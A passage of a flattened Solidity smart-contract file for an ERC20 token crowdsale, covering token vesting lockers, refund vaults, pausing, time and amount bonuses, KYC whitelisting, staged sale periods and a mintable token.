function deliverTokens(ERC20Basic _token, address _beneficiary, uint256 _tokens) internal {}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
/**
* @title Locker
* @notice Locker holds tokens and releases them at a certain time.
*/
contract Locker is Ownable {
using SafeMath for uint;
using SafeERC20 for ERC20Basic;
/**
* It is init state only when adding release info is possible.
* beneficiary only can release tokens when Locker is active.
* After all tokens are released, locker is drawn.
*/
enum State { Init, Ready, Active, Drawn }
struct Beneficiary {
uint ratio; // ratio based on Locker's initial balance.
uint withdrawAmount; // accumulated tokens beneficiary released
bool releaseAllTokens;
}
/**
* @notice Release has info to release tokens.
* If lock type is straight, only two release infos is required.
*
* |
* 100 | _______________
* | _/
* 50 | _/
* | . |
* | . |
* | . |
* +===+=======+----*----------> time
* Locker First Last
* Activated Release Release
*
*
* If lock type is variable, the release graph will be
*
* |
* 100 | _________
* | |
* 70 | __________|
* | |
* 30 | _________|
* | |
* +===+=======+---------+----------*------> time
* Locker First Second Last
* Activated Release Release Release
*
*
*
* For the first straight release graph, parameters would be
* coeff: 100
* releaseTimes: [
* first release time,
* second release time
* ]
* releaseRatios: [
* 50,
* 100,
* ]
*
* For the second variable release graph, parameters would be
* coeff: 100
* releaseTimes: [
* first release time,
* second release time,
* last release time
* ]
* releaseRatios: [
* 30,
* 70,
* 100,
* ]
*
*/
struct Release {
bool isStraight; // lock type : straight or variable
uint[] releaseTimes; //
uint[] releaseRatios; //
}
uint public activeTime;
// ERC20 basic token contract being held
ERC20Basic public token;
uint public coeff;
uint public initialBalance;
uint public withdrawAmount; // total amount of tokens released
mapping (address => Beneficiary) public beneficiaries;
mapping (address => Release) public releases; // beneficiary's lock
mapping (address => bool) public locked; // whether beneficiary's lock is instantiated
uint public numBeneficiaries;
uint public numLocks;
State public state;
modifier onlyState(State v) {
require(state == v);
_;
}
modifier onlyBeneficiary(address _addr) {
require(beneficiaries[_addr].ratio > 0);
_;
}
event StateChanged(State _state);
event Locked(address indexed _beneficiary, bool _isStraight);
event Released(address indexed _beneficiary, uint256 _amount);
function Locker(address _token, uint _coeff, address[] _beneficiaries, uint[] _ratios) public {
require(_token != address(0));
require(_beneficiaries.length == _ratios.length);
token = ERC20Basic(_token);
coeff = _coeff;
numBeneficiaries = _beneficiaries.length;
uint accRatio;
for(uint i = 0; i < numBeneficiaries; i++) {
require(_ratios[i] > 0);
beneficiaries[_beneficiaries[i]].ratio = _ratios[i];
accRatio = accRatio.add(_ratios[i]);
}
require(coeff == accRatio);
}
/**
* @notice beneficiary can release their tokens after activated
*/
function activate() external onlyOwner onlyState(State.Ready) {
require(numLocks == numBeneficiaries); // double check : assert all releases are recorded
initialBalance = token.balanceOf(this);
require(initialBalance > 0);
activeTime = now; // solium-disable-line security/no-block-members
// set locker as active state
state = State.Active;
emit StateChanged(state);
}
function getReleaseType(address _beneficiary)
public
view
onlyBeneficiary(_beneficiary)
returns (bool)
{
return releases[_beneficiary].isStraight;
}
function getTotalLockedAmounts(address _beneficiary)
public
view
onlyBeneficiary(_beneficiary)
returns (uint)
{
return getPartialAmount(beneficiaries[_beneficiary].ratio, coeff, initialBalance);
}
function getReleaseTimes(address _beneficiary)
public
view
onlyBeneficiary(_beneficiary)
returns (uint[])
{
return releases[_beneficiary].releaseTimes;
}
function getReleaseRatios(address _beneficiary)
public
view
onlyBeneficiary(_beneficiary)
returns (uint[])
{
return releases[_beneficiary].releaseRatios;
}
/**
* @notice add new release record for beneficiary
*/
function lock(address _beneficiary, bool _isStraight, uint[] _releaseTimes, uint[] _releaseRatios)
external
onlyOwner
onlyState(State.Init)
onlyBeneficiary(_beneficiary)
{
require(!locked[_beneficiary]);
require(_releaseRatios.length != 0);
require(_releaseRatios.length == _releaseTimes.length);
uint i;
uint len = _releaseRatios.length;
// finally should release all tokens
require(_releaseRatios[len - 1] == coeff);
// check two array are ascending sorted
for(i = 0; i < len - 1; i++) {
require(_releaseTimes[i] < _releaseTimes[i + 1]);
require(_releaseRatios[i] < _releaseRatios[i + 1]);
}
// 2 release times for straight locking type
if (_isStraight) {
require(len == 2);
}
numLocks = numLocks.add(1);
// create Release for the beneficiary
releases[_beneficiary].isStraight = _isStraight;
// copy array of uint
releases[_beneficiary].releaseTimes = _releaseTimes;
releases[_beneficiary].releaseRatios = _releaseRatios;
// lock beneficiary
locked[_beneficiary] = true;
emit Locked(_beneficiary, _isStraight);
// if all beneficiaries locked, change Locker state to change
if (numLocks == numBeneficiaries) {
state = State.Ready;
emit StateChanged(state);
}
}
/**
* @notice transfer releasable tokens for beneficiary wrt the release graph
*/
function release() external onlyState(State.Active) onlyBeneficiary(msg.sender) {
require(!beneficiaries[msg.sender].releaseAllTokens);
uint releasableAmount = getReleasableAmount(msg.sender);
beneficiaries[msg.sender].withdrawAmount = beneficiaries[msg.sender].withdrawAmount.add(releasableAmount);
beneficiaries[msg.sender].releaseAllTokens = beneficiaries[msg.sender].withdrawAmount == getPartialAmount(
beneficiaries[msg.sender].ratio,
coeff,
initialBalance);
withdrawAmount = withdrawAmount.add(releasableAmount);
if (withdrawAmount == initialBalance) {
state = State.Drawn;
emit StateChanged(state);
}
token.transfer(msg.sender, releasableAmount);
emit Released(msg.sender, releasableAmount);
}
function getReleasableAmount(address _beneficiary) internal view returns (uint) {
if (releases[_beneficiary].isStraight) {
return getStraightReleasableAmount(_beneficiary);
} else {
return getVariableReleasableAmount(_beneficiary);
}
}
/**
* @notice return releaseable amount for beneficiary in case of straight type of release
*/
function getStraightReleasableAmount(address _beneficiary) internal view returns (uint releasableAmount) {
Beneficiary memory _b = beneficiaries[_beneficiary];
Release memory _r = releases[_beneficiary];
// total amount of tokens beneficiary can release
uint totalReleasableAmount = getTotalLockedAmounts(_beneficiary);
uint firstTime = _r.releaseTimes[0];
uint lastTime = _r.releaseTimes[1];
// solium-disable security/no-block-members
require(now >= firstTime); // pass if can release
// solium-enable security/no-block-members
if(now >= lastTime) { // inclusive to reduce calculation
releasableAmount = totalReleasableAmount;
} else {
// releasable amount at first time
uint firstAmount = getPartialAmount(
_r.releaseRatios[0],
coeff,
totalReleasableAmount);
// partial amount without first amount
releasableAmount = getPartialAmount(
now.sub(firstTime),
lastTime.sub(firstTime),
totalReleasableAmount.sub(firstAmount));
releasableAmount = releasableAmount.add(firstAmount);
}
// subtract already withdrawn amounts
releasableAmount = releasableAmount.sub(_b.withdrawAmount);
}
/**
* @notice return releaseable amount for beneficiary in case of variable type of release
*/
function getVariableReleasableAmount(address _beneficiary) internal view returns (uint releasableAmount) {
Beneficiary memory _b = beneficiaries[_beneficiary];
Release memory _r = releases[_beneficiary];
// total amount of tokens beneficiary will receive
uint totalReleasableAmount = getTotalLockedAmounts(_beneficiary);
uint releaseRatio;
// reverse order for short curcit
for(uint i = _r.releaseTimes.length - 1; i >= 0; i--) {
if (now >= _r.releaseTimes[i]) {
releaseRatio = _r.releaseRatios[i];
break;
}
}
require(releaseRatio > 0);
releasableAmount = getPartialAmount(
releaseRatio,
coeff,
totalReleasableAmount);
releasableAmount = releasableAmount.sub(_b.withdrawAmount);
}
/// https://github.com/0xProject/0x.js/blob/05aae368132a81ddb9fd6a04ac5b0ff1cbb24691/packages/contracts/src/current/protocol/Exchange/Exchange.sol#L497
/// @notice Calculates partial value given a numerator and denominator.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to calculate partial of.
/// @return Partial value of target.
function getPartialAmount(uint numerator, uint denominator, uint target) public pure returns (uint) {
return numerator.mul(target).div(denominator);
}
}
/**
* @title RefundVault
* @dev This contract is used for storing funds while a crowdsale
* is in progress. Supports refunding the money if crowdsale fails,
* and forwarding it if crowdsale is successful.
*/
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
/**
* @param _wallet Vault address
*/
constructor(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
/**
* @param investor Investor address
*/
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
/**
* @param investor Investor address
*/
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
/**
* @title MultiHolderVault
* @dev This contract distribute ether to multiple address.
*/
contract MultiHolderVault is HolderBase, RefundVault {
using SafeMath for uint256;
function MultiHolderVault(address _wallet, uint256 _ratioCoeff)
public
HolderBase(_ratioCoeff)
RefundVault(_wallet)
{}
function close() public onlyOwner {
require(state == State.Active);
require(initialized);
super.distribute(); // distribute ether to holders
super.close(); // transfer remaining ether to wallet
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract BaseCrowdsale is HolderBase, Pausable {
using SafeMath for uint256;
Locker public locker; // token locker
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// how many token units a buyer gets per wei
// use coeff ratio from HolderBase
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
// ratio of tokens for crowdsale
uint256 public crowdsaleRatio;
bool public isFinalized = false;
uint256 public cap;
// minimum amount of funds to be raised in weis
uint256 public goal;
// refund vault used to hold funds while crowdsale is running
MultiHolderVault public vault;
address public nextTokenOwner;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Finalized();
event ClaimTokens(address indexed _token, uint256 _amount);
function BaseCrowdsale(uint256 _coeff) HolderBase(_coeff) public {}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable whenNotPaused {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 toFund = calculateToFund(beneficiary, weiAmount);
require(toFund > 0);
uint256 toReturn = weiAmount.sub(toFund);
buyTokensPreHook(beneficiary, toFund);
// calculate token amount to be created
uint256 tokens = getTokenAmount(toFund);
// update state
weiRaised = weiRaised.add(toFund);
if (toReturn > 0) {
msg.sender.transfer(toReturn);
}
buyTokensPostHook(beneficiary, tokens, toFund);
generateTokens(beneficiary, tokens);
emit TokenPurchase(msg.sender, beneficiary, toFund, tokens);
forwardFunds(toFund);
}
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
emit Finalized();
isFinalized = true;
}
// vault finalization task, called when owner calls finalize()
function finalization() internal {
if (goalReached()) {
finalizationSuccessHook();
} else {
finalizationFailHook();
}
}
// if crowdsale is unsuccessful, investors can claim refunds here
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
/// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
bool capReached = weiRaised >= cap;
return capReached || now > endTime; // solium-disable-line security/no-block-members
}
// Override this method to have a way to add business logic to your crowdsale when buying
function getTokenAmount(uint256 weiAmount) internal view returns(uint256) {
return weiAmount.mul(rate);
}
/**
* @notice forwardd ether to vault
*/
function forwardFunds(uint256 toFund) internal {
vault.deposit.value(toFund)(msg.sender);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime; // solium-disable-line security/no-block-members
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
/**
* @notice calculate fund wrt sale cap. Override this function to control ether cap.
* @param _beneficiary address address to receive tokens
* @param _weiAmount uint256 amount of ether in wei
*/
function calculateToFund(address _beneficiary, uint256 _weiAmount) internal view returns (uint256) {
uint256 toFund;
uint256 postWeiRaised = weiRaised.add(_weiAmount);
if (postWeiRaised > cap) {
toFund = cap.sub(weiRaised);
} else {
toFund = _weiAmount;
}
return toFund;
}
/**
* @notice interface to initialize crowdsale parameters.
* init should be implemented by Crowdsale Generator.
*/
function init(bytes32[] args) public;
/**
* @notice pre hook for buyTokens function
* @param _beneficiary address address to receive tokens
* @param _toFund uint256 amount of ether in wei
*/
function buyTokensPreHook(address _beneficiary, uint256 _toFund) internal {}
/**
* @notice post hook for buyTokens function
* @param _beneficiary address address to receive tokens
* @param _tokens uint256 amount of tokens to receive
* @param _toFund uint256 amount of ether in wei
*/
function buyTokensPostHook(address _beneficiary, uint256 _tokens, uint256 _toFund) internal {}
function finalizationFailHook() internal {
vault.enableRefunds();
}
function finalizationSuccessHook() internal {
// calculate target total supply including all token holders
uint256 targetTotalSupply = getTotalSupply().mul(coeff).div(crowdsaleRatio);
ERC20Basic token = ERC20Basic(getTokenAddress());
super.distributeToken(token, targetTotalSupply);
afterGeneratorHook();
locker.activate();
vault.close();
transferTokenOwnership(nextTokenOwner);
}
function afterGeneratorHook() internal {}
/**
* @notice common interfaces for both of MiniMe and Mintable token.
*/
function generateTokens(address _beneficiary, uint256 _tokens) internal;
function transferTokenOwnership(address _to) internal;
function getTotalSupply() internal returns (uint256);
function finishMinting() internal returns (bool);
function getTokenAddress() internal returns (address);
/**
* @notice helper function to generate tokens with ratio
*/
function generateTargetTokens(address _beneficiary, uint256 _targetTotalSupply, uint256 _ratio) internal {
uint256 tokens = _targetTotalSupply.mul(_ratio).div(coeff);
generateTokens(_beneficiary, tokens);
}
/**
* @notice claim ERC20Basic compatible tokens
*/
function claimTokens(ERC20Basic _token) external onlyOwner {
require(isFinalized);
uint256 balance = _token.balanceOf(this);
_token.transfer(owner, balance);
emit ClaimTokens(_token, balance);
}
/**
* @notice Override HolderBase.deliverTokens
* @param _token ERC20Basic token contract
* @param _beneficiary Address to receive tokens
* @param _tokens Amount of tokens
*/
function deliverTokens(ERC20Basic _token, address _beneficiary, uint256 _tokens) internal {
generateTokens(_beneficiary, _tokens);
}
}
/**
* @title BlockIntervalCrowdsale
* @notice BlockIntervalCrowdsale limit purchaser to take participate too frequently.
*/
contract BlockIntervalCrowdsale is BaseCrowdsale {
uint256 public blockInterval;
mapping (address => uint256) public recentBlock;
function BlockIntervalCrowdsale(uint256 _blockInterval) public {
require(_blockInterval != 0);
blockInterval = _blockInterval;
}
/**
* @return true if the block number is over the block internal.
*/
function validPurchase() internal view returns (bool) {
bool withinBlock = recentBlock[msg.sender].add(blockInterval) < block.number;
return withinBlock && super.validPurchase();
}
/**
* @notice save the block number
*/
function buyTokensPreHook(address _beneficiary, uint256 _toFund) internal {
recentBlock[msg.sender] = block.number;
super.buyTokensPreHook(_beneficiary, _toFund);
}
}
// https://github.com/bitclave/crowdsale/blob/master/contracts/BonusCrowdsale.sol
pragma solidity ^0.4.24;
/**
* @dev Parent crowdsale contract with support for time-based and amount based bonuses
* Based on references from OpenZeppelin: https://github.com/OpenZeppelin/zeppelin-solidity
*
*/
contract BonusCrowdsale is BaseCrowdsale {
// Constants
// The following will be populated by main crowdsale contract
uint32[] public BONUS_TIMES;
uint32[] public BONUS_TIMES_VALUES;
uint128[] public BONUS_AMOUNTS;
uint32[] public BONUS_AMOUNTS_VALUES;
/**
* @dev Retrieve length of bonuses by time array
* @return Bonuses by time array length
*/
function bonusesForTimesCount() public view returns(uint) {
return BONUS_TIMES.length;
}
/**
* @dev Sets bonuses for time
*/
function setBonusesForTimes(uint32[] times, uint32[] values) public onlyOwner {
require(times.length == values.length);
for (uint i = 0; i + 1 < times.length; i++) {
require(times[i] < times[i+1]);
}
BONUS_TIMES = times;
BONUS_TIMES_VALUES = values;
}
/**
* @dev Retrieve length of bonuses by amounts array
* @return Bonuses by amounts array length
*/
function bonusesForAmountsCount() public view returns(uint) {
return BONUS_AMOUNTS.length;
}
/**
* @dev Sets bonuses for USD amounts
*/
function setBonusesForAmounts(uint128[] amounts, uint32[] values) public onlyOwner {
require(amounts.length == values.length);
for (uint i = 0; i + 1 < amounts.length; i++) {
require(amounts[i] > amounts[i+1]);
}
BONUS_AMOUNTS = amounts;
BONUS_AMOUNTS_VALUES = values;
}
/**
* @notice Overrided getTokenAmount function of parent Crowdsale contract
to calculate the token with time and amount bonus.
* @param weiAmount walelt of investor to receive tokens
*/
function getTokenAmount(uint256 weiAmount) internal view returns(uint256) {
// Compute time and amount bonus
uint256 bonus = computeBonus(weiAmount);
uint256 rateWithBonus = rate.mul(coeff.add(bonus)).div(coeff);
return weiAmount.mul(rateWithBonus);
}
/**
* @dev Computes overall bonus based on time of contribution and amount of contribution.
* The total bonus is the sum of bonus by time and bonus by amount
* @return bonus percentage scaled by 10
*/
function computeBonus(uint256 weiAmount) public view returns(uint256) {
return computeAmountBonus(weiAmount).add(computeTimeBonus());
}
/**
* @dev Computes bonus based on time of contribution relative to the beginning of crowdsale
* @return bonus percentage scaled by 10
*/
function computeTimeBonus() public view returns(uint256) {
require(now >= startTime); // solium-disable-line security/no-block-members
for (uint i = 0; i < BONUS_TIMES.length; i++) {
if (now <= BONUS_TIMES[i]) { // solium-disable-line security/no-block-members
return BONUS_TIMES_VALUES[i];
}
}
return 0;
}
/**
* @dev Computes bonus based on amount of contribution
* @return bonus percentage scaled by 10
*/
function computeAmountBonus(uint256 weiAmount) public view returns(uint256) {
for (uint i = 0; i < BONUS_AMOUNTS.length; i++) {
if (weiAmount >= BONUS_AMOUNTS[i]) {
return BONUS_AMOUNTS_VALUES[i];
}
}
return 0;
}
}
/**
* @title FinishMintingCrowdsale
* @notice FinishMintingCrowdsale prevents token generation after sale ended.
*/
contract FinishMintingCrowdsale is BaseCrowdsale {
function afterGeneratorHook() internal {
require(finishMinting());
super.afterGeneratorHook();
}
}
/**
* @title KYC
* @dev KYC contract handles the white list for PLCCrowdsale contract
* Only accounts registered in KYC contract can buy PLC token.
* Admins can register account, and the reason why
*/
contract KYC is Ownable {
// check the address is registered for token sale
mapping (address => bool) public registeredAddress;
// check the address is admin of kyc contract
mapping (address => bool) public admin;
event Registered(address indexed _addr);
event Unregistered(address indexed _addr);
event SetAdmin(address indexed _addr, bool indexed _isAdmin);
/**
* @dev check whether the msg.sender is admin or not
*/
modifier onlyAdmin() {
require(admin[msg.sender]);
_;
}
function KYC() public {
admin[msg.sender] = true;
}
/**
* @dev set new admin as admin of KYC contract
* @param _addr address The address to set as admin of KYC contract
*/
function setAdmin(address _addr, bool _isAdmin)
public
onlyOwner
{
require(_addr != address(0));
admin[_addr] = _isAdmin;
emit SetAdmin(_addr, _isAdmin);
}
/**
* @dev register the address for token sale
* @param _addr address The address to register for token sale
*/
function register(address _addr)
public
onlyAdmin
{
require(_addr != address(0));
registeredAddress[_addr] = true;
emit Registered(_addr);
}
/**
* @dev register the addresses for token sale
* @param _addrs address[] The addresses to register for token sale
*/
function registerByList(address[] _addrs)
public
onlyAdmin
{
for(uint256 i = 0; i < _addrs.length; i++) {
require(_addrs[i] != address(0));
registeredAddress[_addrs[i]] = true;
emit Registered(_addrs[i]);
}
}
/**
* @dev unregister the registered address
* @param _addr address The address to unregister for token sale
*/
function unregister(address _addr)
public
onlyAdmin
{
registeredAddress[_addr] = false;
emit Unregistered(_addr);
}
/**
* @dev unregister the registered addresses
* @param _addrs address[] The addresses to unregister for token sale
*/
function unregisterByList(address[] _addrs)
public
onlyAdmin
{
for(uint256 i = 0; i < _addrs.length; i++) {
registeredAddress[_addrs[i]] = false;
emit Unregistered(_addrs[i]);
}
}
}
/**
* @title KYCCrowdsale
* @notice KYCCrowdsale checks kyc information and
*/
contract KYCCrowdsale is BaseCrowdsale {
KYC kyc;
function KYCCrowdsale (address _kyc) public {
require(_kyc != 0x0);
kyc = KYC(_kyc);
}
function registered(address _addr) public view returns (bool) {
return kyc.registeredAddress(_addr);
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract MintableBaseCrowdsale is BaseCrowdsale {
MintableToken token;
function MintableBaseCrowdsale (address _token) public {
require(_token != address(0));
token = MintableToken(_token);
}
function generateTokens(address _beneficiary, uint256 _tokens) internal {
token.mint(_beneficiary, _tokens);
}
function transferTokenOwnership(address _to) internal {
token.transferOwnership(_to);
}
function getTotalSupply() internal returns (uint256) {
return token.totalSupply();
}
function finishMinting() internal returns (bool) {
require(token.finishMinting());
return true;
}
function getTokenAddress() internal returns (address) {
return address(token);
}
}
/**
* @title StagedCrowdsale
* @notice StagedCrowdsale seperates sale period with start time & end time.
* For each period, seperate max cap and kyc could be setup.
* Both startTime and endTime are inclusive.
*/
contract StagedCrowdsale is KYCCrowdsale {
uint8 public numPeriods;
Stage[] public stages;
struct Stage {
uint128 cap;
uint128 maxPurchaseLimit;
uint128 minPurchaseLimit;
uint128 weiRaised; // stage's weiAmount raised
uint32 startTime;
uint32 endTime;
bool kyc;
}
function StagedCrowdsale(uint _numPeriods) public {
numPeriods = uint8(_numPeriods);
require(numPeriods > 0);
}
function initStages(
uint32[] _startTimes,
uint32[] _endTimes,
uint128[] _capRatios,
uint128[] _maxPurchaseLimits,
uint128[] _minPurchaseLimits,
bool[] _kycs)
public
{
uint len = numPeriods;
require(stages.length == 0);
// solium-disable
require(len == _startTimes.length &&
len == _endTimes.length &&
len == _capRatios.length &&
len == _maxPurchaseLimits.length &&
len == _minPurchaseLimits.length &&
len == _kycs.length);
// solium-enable
for (uint i = 0; i < len; i++) {
require(_endTimes[i] >= _startTimes[i]);
uint stageCap;
if (_capRatios[i] != 0) {
stageCap = cap.mul(uint(_capRatios[i])).div(coeff);
} else {
stageCap = 0;
}
stages.push(Stage({
startTime: _startTimes[i],
endTime: _endTimes[i],
cap: uint128(stageCap),
maxPurchaseLimit: _maxPurchaseLimits[i],
minPurchaseLimit: _minPurchaseLimits[i],
kyc: _kycs[i],
weiRaised: 0
}));
}
require(validPeriods());
}
/**
* @notice if period is on sale, return index of the period.
*/
function getStageIndex() public view returns (uint8 currentStage, bool onSale) {
onSale = true;
Stage memory p;
for (currentStage = 0; currentStage < stages.length; currentStage++) {
p = stages[currentStage];
if (p.startTime <= now && now <= p.endTime) {
return;
}
}
onSale = false;
}
/**
* @notice return if all period is finished.
*/
function saleFinished() public view returns (bool) {
require(stages.length == numPeriods);
return stages[stages.length - 1].endTime < now;
}
function validPeriods() internal view returns (bool) {
if (stages.length != numPeriods) {
return false;
}
// check stages are overlapped.
for (uint8 i = 0; i < stages.length - 1; i++) {
if (stages[i].endTime >= stages[i + 1].startTime) {
return false;
}
}
return true;
}
/**
* @notice Override BaseCrowdsale.calculateToFund function.
* Check if period is on sale and apply cap if needed.
*/
function calculateToFund(address _beneficiary, uint256 _weiAmount) internal view returns (uint256) {
uint256 weiAmount = _weiAmount;
uint8 currentStage;
bool onSale;
(currentStage, onSale) = getStageIndex();
require(onSale);
Stage memory p = stages[currentStage];
// Check kyc if needed for this period
if (p.kyc) {
require(super.registered(_beneficiary));
}
// check min purchase limit of the period
require(weiAmount >= uint(p.minPurchaseLimit));
// reduce up to max purchase limit of the period
if (p.maxPurchaseLimit != 0 && weiAmount > uint(p.maxPurchaseLimit)) {
weiAmount = uint(p.maxPurchaseLimit);
}
// pre-calculate `toFund` with the period's cap
if (p.cap > 0) {
uint256 postWeiRaised = uint256(p.weiRaised).add(weiAmount);
if (postWeiRaised > p.cap) {
weiAmount = uint256(p.cap).sub(p.weiRaised);
}
}
// get `toFund` with the cap of the sale
return super.calculateToFund(_beneficiary, weiAmount);
}
function buyTokensPreHook(address _beneficiary, uint256 _toFund) internal {
uint8 currentStage;
bool onSale;
